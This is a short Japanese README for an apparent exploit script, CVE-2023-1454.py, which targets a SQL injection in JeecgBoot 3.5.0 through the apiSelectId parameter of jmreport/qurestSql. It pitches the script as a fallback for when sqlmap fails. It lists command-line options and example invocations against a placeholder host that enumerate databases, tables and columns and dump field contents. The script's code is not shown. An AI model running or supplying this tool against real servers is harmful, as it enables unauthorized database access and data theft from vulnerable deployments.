
JeecgBoot SQL(CVE-2023-1454)sqlmapでの注入がうまくいかない場合にこのスクリプトを使用できます。
jeecg-boot 3.5.0バージョンにはSQLインジェクションの脆弱性が存在します。この脆弱性は、ファイル jmreport/qurestSql のセキュリティ問題に起因し、パラメータ apiSelectId を介してSQLインジェクションを引き起こします。
python3 CVE-2023-1454.py
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Specify the base URL
--current-db View current database
--dbs View all databases
-D DATABASE, --database DATABASE
Specify the database name
--tables View tables in the specified database
-T TABLE, --table TABLE
Specify the table name
--columns View columns in the specified table
-C COLUMN, --column COLUMN
Specify the column name
Example:
python3 CVE-2023-1454.py -u xxx.com --current-db 現在のデータベース名を表示
python3 CVE-2023-1454.py -u xxx.com -dbs すべてのデータベース名を表示
python3 CVE-2023-1454.py -u xxx.com -D データベース名 --tables データベース内のテーブル名を表示
python3 CVE-2023-1454.py -u xxx.com -D データベース名 -T テーブル名 --columns テーブル内のフィールド名を表示
python3 CVE-2023-1454.py -u xxx.com -D データベース名 -T テーブル名 -C フィールド名 フィールドを表示